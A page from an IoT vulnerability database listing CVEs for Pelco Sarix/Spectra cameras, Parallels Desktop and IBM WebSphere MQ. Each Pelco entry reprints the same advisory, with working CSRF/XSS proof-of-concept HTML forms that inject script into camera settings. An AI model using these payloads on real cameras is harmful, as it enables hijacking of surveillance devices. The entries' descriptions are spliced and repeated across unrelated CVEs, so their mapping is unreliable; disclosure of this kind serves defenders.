VARIoT IoT vulnerabilities database
| VAR-201803-1843 | CVE-2018-7236 | Schneider Electric Pelco Sarix Professional Authentication vulnerability |
CVSS V2: 5.8 CVSS V3: 8.1 Severity: HIGH |
A vulnerability exists in Schneider Electric's Pelco Sarix Professional in all firmware versions prior to 3.29.67 which could enable SSH service due to lack of authentication for /login/bin/set_param could enable SSH service. Schneider Electric Pelco Sarix Professional Contains an authentication vulnerability.Information may be obtained and information may be altered. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectricPelcoSarix/SpectraCameras has multiple cross-site scripting vulnerabilities that an attacker can exploit to execute arbitrary HTML and script code. SchneiderElectricPelcoSarixProfessional is a video surveillance device from Schneider Electric, France. A security vulnerability exists in SchneiderElectricPelcoSarixProfessional with firmware prior to 3.29.67, which was caused by a program failing to authenticate to /login/bin/set_param. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter 'enable_leds' locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0.
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities
Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)
Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. SarixaC/ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.
Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php
07.04.2017
--
CSRF/XSS on username parameter:
-------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
<input type="hidden" name="dot1x" value="on" />
<input type="hidden" name="protocol" value="EAP-TLS" />
<input type="hidden" name="inner_auth" value="CHAP" />
<input type="hidden" name="username" value='"><script>alert(1)</script>' />
<input type="hidden" name="password" value="blah" />
<input type="hidden" name="anonymous_id" value=" " />
<input type="hidden" name="ca_certificate" value="test" />
<input type="hidden" name="client_certificate" value="test" />
<input type="hidden" name="private_key" value="test" />
<input type="hidden" name="private_key_password" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/general/update" method="POST">
<input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
<input type="hidden" name="http_port" value='"><script>alert(3)</script>' />
<input type="hidden" name="rtsp_port" value='"><script>alert(4)</script>' />
<input type="hidden" name="dhcp" value="off" />
<input type="hidden" name="ip_address" value='"><script>alert(5)</script>' />
<input type="hidden" name="subnet_mask" value='"><script>alert(6)</script>' />
<input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
<input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on version parameter:
------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
<input type="hidden" name="version" value='";alert(9)//' />
<input type="hidden" name="v2_community_string" value="public" />
<input type="hidden" name="v2_receiver_address" value="" />
<input type="hidden" name="v2_trap_community_string" value="trapbratce" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/system/general/update" method="POST">
<input type="hidden" name="device_name" value='ZSL"><script>alert(10)</script>' />
<input type="hidden" name="enable_leds" value="on" />
<input type="hidden" name="smtp_server" value='"><script>alert(11)</script>' />
<input type="hidden" name="ntp_server_from_dhcp" value="false" />
<input type="hidden" name="ntp_server" value="';alert(12)//'" />
<input type="hidden" name="region" value="Macedonia';alert(13)//" />
<input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
<input type="hidden" name="enable_time_overlay" value="on" />
<input type="hidden" name="enable_name_overlay" value="off" />
<input type="hidden" name="position" value="topright" />
<input type="hidden" name="date_format" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="relay_sentinel" value="relay_sentinel" />
<input type="hidden" name="name" value='"><script>alert(15)</script>' />
<input type="hidden" name="type" value="Ftp" />
<input type="hidden" name="email_to" value="" />
<input type="hidden" name="email_from" value="" />
<input type="hidden" name="email_subject" value="" />
<input type="hidden" name="email_message" value="" />
<input type="hidden" name="dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="limit_size" value="" />
<input type="hidden" name="limit_size_scale" value="K" />
<input type="hidden" name="ftp_server" value='"><script>alert(16)</script>' />
<input type="hidden" name="ftp_username" value='"><script>alert(17)</script>' />
<input type="hidden" name="ftp_password" value='"><script>alert(18)</script>' />
<input type="hidden" name="ftp_base_path" value='"><script>alert(19)</script>' />
<input type="hidden" name="ftp_dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="relay_bankName" value="GPIO" />
<input type="hidden" name="relay_index" value="0" />
<input type="hidden" name="relay_on_time" value="0.1" />
<input type="hidden" name="relay_off_time" value="0.1" />
<input type="hidden" name="relay_pulse_count" value="" />
<input type="hidden" name="filter_start0" value="" />
<input type="hidden" name="filter_stop0" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| VAR-201905-1041 | CVE-2018-7829 | Pelco Sarix Enhanced Camera and Spectra Enhanced PTZ Camera Vulnerable to improper neutralization of special elements in data query logic |
CVSS V2: 9.0 CVSS V3: 8.8 Severity: HIGH |
An Improper Neutralization of Special Elements in Query vulnerability exists in the 1st Gen. Pelco Sarix Enhanced Camera and Spectra Enhanced PTZ Camera which allows an attacker to execute arbitrary system commands. Pelco Sarix Enhanced Camera and Spectra Enhanced PTZ Camera Contains a vulnerability in improper neutralization of special elements of data query logic.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectric1stGenPelcoSarixEnhancedCamera and SchneiderElectricSpectraEnhancedPTZCamera are products of Schneider Electric. SchneiderElectric1stGenPelcoSarixEnhancedCamera is a series of fixed IP cameras. The Schneider Electric SpectraEnhancedPTZCamera is a series of spherical IP cameras. Security vulnerabilities exist in SchneiderElectric1stGen.PelcoSarixEnhancedCamera and SpectraEnhancedPTZCamera. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter 'enable_leds' locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0.
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities
Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)
Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. SarixaC/ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.
Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php
07.04.2017
--
CSRF/XSS on username parameter:
-------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
<input type="hidden" name="dot1x" value="on" />
<input type="hidden" name="protocol" value="EAP-TLS" />
<input type="hidden" name="inner_auth" value="CHAP" />
<input type="hidden" name="username" value='"><script>alert(1)</script>' />
<input type="hidden" name="password" value="blah" />
<input type="hidden" name="anonymous_id" value=" " />
<input type="hidden" name="ca_certificate" value="test" />
<input type="hidden" name="client_certificate" value="test" />
<input type="hidden" name="private_key" value="test" />
<input type="hidden" name="private_key_password" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/general/update" method="POST">
<input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
<input type="hidden" name="http_port" value='"><script>alert(3)</script>' />
<input type="hidden" name="rtsp_port" value='"><script>alert(4)</script>' />
<input type="hidden" name="dhcp" value="off" />
<input type="hidden" name="ip_address" value='"><script>alert(5)</script>' />
<input type="hidden" name="subnet_mask" value='"><script>alert(6)</script>' />
<input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
<input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on version parameter:
------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
<input type="hidden" name="version" value='";alert(9)//' />
<input type="hidden" name="v2_community_string" value="public" />
<input type="hidden" name="v2_receiver_address" value="" />
<input type="hidden" name="v2_trap_community_string" value="trapbratce" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/system/general/update" method="POST">
<input type="hidden" name="device_name" value='ZSL"><script>alert(10)</script>' />
<input type="hidden" name="enable_leds" value="on" />
<input type="hidden" name="smtp_server" value='"><script>alert(11)</script>' />
<input type="hidden" name="ntp_server_from_dhcp" value="false" />
<input type="hidden" name="ntp_server" value="';alert(12)//'" />
<input type="hidden" name="region" value="Macedonia';alert(13)//" />
<input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
<input type="hidden" name="enable_time_overlay" value="on" />
<input type="hidden" name="enable_name_overlay" value="off" />
<input type="hidden" name="position" value="topright" />
<input type="hidden" name="date_format" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="relay_sentinel" value="relay_sentinel" />
<input type="hidden" name="name" value='"><script>alert(15)</script>' />
<input type="hidden" name="type" value="Ftp" />
<input type="hidden" name="email_to" value="" />
<input type="hidden" name="email_from" value="" />
<input type="hidden" name="email_subject" value="" />
<input type="hidden" name="email_message" value="" />
<input type="hidden" name="dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="limit_size" value="" />
<input type="hidden" name="limit_size_scale" value="K" />
<input type="hidden" name="ftp_server" value='"><script>alert(16)</script>' />
<input type="hidden" name="ftp_username" value='"><script>alert(17)</script>' />
<input type="hidden" name="ftp_password" value='"><script>alert(18)</script>' />
<input type="hidden" name="ftp_base_path" value='"><script>alert(19)</script>' />
<input type="hidden" name="ftp_dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="relay_bankName" value="GPIO" />
<input type="hidden" name="relay_index" value="0" />
<input type="hidden" name="relay_on_time" value="0.1" />
<input type="hidden" name="relay_off_time" value="0.1" />
<input type="hidden" name="relay_pulse_count" value="" />
<input type="hidden" name="filter_start0" value="" />
<input type="hidden" name="filter_stop0" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| VAR-201707-1351 | No CVE | Parallels Desktop Virtual Machine Privilege Escalation Vulnerability |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Parallels Desktop is the most powerful virtual machine software for Mac computers.
Parallels Desktop has a local privilege elevation vulnerability that allows an attacker to use the vulnerability to escape to the host host to execute arbitrary code.
| VAR-201707-0666 | CVE-2017-1285 | IBM WebSphere MQ Vulnerable to sending crafted messages |
CVSS V2: 4.0 CVSS V3: 6.5 Severity: Medium |
IBM WebSphere MQ 9.0.1 and 9.0.2 could allow an authenticated user with authority to send a specially crafted message that would cause a channel to remain in a running state but not process messages. IBM X-Force ID: 125146. Multiple IBM Products are prone to a denial-of-service vulnerability.
An attacker can exploit this issue to cause denial-of-service condition
| VAR-201905-1050 | CVE-2018-7826 | Pelco Sarix Enhanced and Spectra Enhanced PTZ Camera Command injection vulnerability |
CVSS V2: 6.5 CVSS V3: 8.8 Severity: HIGH |
A Command Injection vulnerability exists in the web-based GUI of the 1st Gen Pelco Sarix Enhanced Camera that could allow a remote attacker to execute arbitrary commands. Pelco Sarix Enhanced and Spectra Enhanced PTZ Camera Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectric1stGenPelcoSarixEnhancedCamera is a series of fixed IP cameras from Schneider Electric, France. The vulnerability stems from the fact that external input data constructs executable commands, and the network system or product does not properly filter the special elements. An attacker could exploit the vulnerability to execute an illegal command. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter 'enable_leds' locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0.
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities
Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)
Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. SarixaC/ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.
Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php
07.04.2017
--
CSRF/XSS on username parameter:
-------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
<input type="hidden" name="dot1x" value="on" />
<input type="hidden" name="protocol" value="EAP-TLS" />
<input type="hidden" name="inner_auth" value="CHAP" />
<input type="hidden" name="username" value='"><script>alert(1)</script>' />
<input type="hidden" name="password" value="blah" />
<input type="hidden" name="anonymous_id" value=" " />
<input type="hidden" name="ca_certificate" value="test" />
<input type="hidden" name="client_certificate" value="test" />
<input type="hidden" name="private_key" value="test" />
<input type="hidden" name="private_key_password" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/general/update" method="POST">
<input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
<input type="hidden" name="http_port" value='"><script>alert(3)</script>' />
<input type="hidden" name="rtsp_port" value='"><script>alert(4)</script>' />
<input type="hidden" name="dhcp" value="off" />
<input type="hidden" name="ip_address" value='"><script>alert(5)</script>' />
<input type="hidden" name="subnet_mask" value='"><script>alert(6)</script>' />
<input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
<input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on version parameter:
------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
<input type="hidden" name="version" value='";alert(9)//' />
<input type="hidden" name="v2_community_string" value="public" />
<input type="hidden" name="v2_receiver_address" value="" />
<input type="hidden" name="v2_trap_community_string" value="trapbratce" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/system/general/update" method="POST">
<input type="hidden" name="device_name" value='ZSL"><script>alert(10)</script>' />
<input type="hidden" name="enable_leds" value="on" />
<input type="hidden" name="smtp_server" value='"><script>alert(11)</script>' />
<input type="hidden" name="ntp_server_from_dhcp" value="false" />
<input type="hidden" name="ntp_server" value="';alert(12)//'" />
<input type="hidden" name="region" value="Macedonia';alert(13)//" />
<input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
<input type="hidden" name="enable_time_overlay" value="on" />
<input type="hidden" name="enable_name_overlay" value="off" />
<input type="hidden" name="position" value="topright" />
<input type="hidden" name="date_format" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="relay_sentinel" value="relay_sentinel" />
<input type="hidden" name="name" value='"><script>alert(15)</script>' />
<input type="hidden" name="type" value="Ftp" />
<input type="hidden" name="email_to" value="" />
<input type="hidden" name="email_from" value="" />
<input type="hidden" name="email_subject" value="" />
<input type="hidden" name="email_message" value="" />
<input type="hidden" name="dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="limit_size" value="" />
<input type="hidden" name="limit_size_scale" value="K" />
<input type="hidden" name="ftp_server" value='"><script>alert(16)</script>' />
<input type="hidden" name="ftp_username" value='"><script>alert(17)</script>' />
<input type="hidden" name="ftp_password" value='"><script>alert(18)</script>' />
<input type="hidden" name="ftp_base_path" value='"><script>alert(19)</script>' />
<input type="hidden" name="ftp_dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="relay_bankName" value="GPIO" />
<input type="hidden" name="relay_index" value="0" />
<input type="hidden" name="relay_on_time" value="0.1" />
<input type="hidden" name="relay_off_time" value="0.1" />
<input type="hidden" name="relay_pulse_count" value="" />
<input type="hidden" name="filter_start0" value="" />
<input type="hidden" name="filter_stop0" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| VAR-201905-1022 | CVE-2018-7816 | Pelco Sarix Enhanced Camera Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 5.5 CVSS V3: 6.5 Severity: MEDIUM |
A Permissions, Privileges, and Access Control vulnerability exists in the web-based GUI of the 1st Gen Pelco Sarix Enhanced Camera that could allow a remote attacker to delete an arbitrary file. Pelco Sarix Enhanced Camera Contains vulnerabilities related to authorization, permissions, and access control.Information may be tampered with. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectricPelcoSarix/SpectraCameras has multiple cross-site scripting vulnerabilities that an attacker can exploit to execute arbitrary HTML and script code. SchneiderElectric1stGenPelcoSarixEnhancedCamera is a series of fixed IP cameras from Schneider Electric, France. The vulnerability stems from the lack of effective permissions and access control measures for network systems or products. An attacker could exploit the vulnerability to cause a system denial of service. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter 'enable_leds' locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0.
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities
Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)
Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. SarixaC/ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.
Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php
07.04.2017
--
CSRF/XSS on username parameter:
-------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
<input type="hidden" name="dot1x" value="on" />
<input type="hidden" name="protocol" value="EAP-TLS" />
<input type="hidden" name="inner_auth" value="CHAP" />
<input type="hidden" name="username" value='"><script>alert(1)</script>' />
<input type="hidden" name="password" value="blah" />
<input type="hidden" name="anonymous_id" value=" " />
<input type="hidden" name="ca_certificate" value="test" />
<input type="hidden" name="client_certificate" value="test" />
<input type="hidden" name="private_key" value="test" />
<input type="hidden" name="private_key_password" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/general/update" method="POST">
<input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
<input type="hidden" name="http_port" value='"><script>alert(3)</script>' />
<input type="hidden" name="rtsp_port" value='"><script>alert(4)</script>' />
<input type="hidden" name="dhcp" value="off" />
<input type="hidden" name="ip_address" value='"><script>alert(5)</script>' />
<input type="hidden" name="subnet_mask" value='"><script>alert(6)</script>' />
<input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
<input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on version parameter:
------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
<input type="hidden" name="version" value='";alert(9)//' />
<input type="hidden" name="v2_community_string" value="public" />
<input type="hidden" name="v2_receiver_address" value="" />
<input type="hidden" name="v2_trap_community_string" value="trapbratce" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/system/general/update" method="POST">
<input type="hidden" name="device_name" value='ZSL"><script>alert(10)</script>' />
<input type="hidden" name="enable_leds" value="on" />
<input type="hidden" name="smtp_server" value='"><script>alert(11)</script>' />
<input type="hidden" name="ntp_server_from_dhcp" value="false" />
<input type="hidden" name="ntp_server" value="';alert(12)//'" />
<input type="hidden" name="region" value="Macedonia';alert(13)//" />
<input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
<input type="hidden" name="enable_time_overlay" value="on" />
<input type="hidden" name="enable_name_overlay" value="off" />
<input type="hidden" name="position" value="topright" />
<input type="hidden" name="date_format" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="relay_sentinel" value="relay_sentinel" />
<input type="hidden" name="name" value='"><script>alert(15)</script>' />
<input type="hidden" name="type" value="Ftp" />
<input type="hidden" name="email_to" value="" />
<input type="hidden" name="email_from" value="" />
<input type="hidden" name="email_subject" value="" />
<input type="hidden" name="email_message" value="" />
<input type="hidden" name="dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="limit_size" value="" />
<input type="hidden" name="limit_size_scale" value="K" />
<input type="hidden" name="ftp_server" value='"><script>alert(16)</script>' />
<input type="hidden" name="ftp_username" value='"><script>alert(17)</script>' />
<input type="hidden" name="ftp_password" value='"><script>alert(18)</script>' />
<input type="hidden" name="ftp_base_path" value='"><script>alert(19)</script>' />
<input type="hidden" name="ftp_dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="relay_bankName" value="GPIO" />
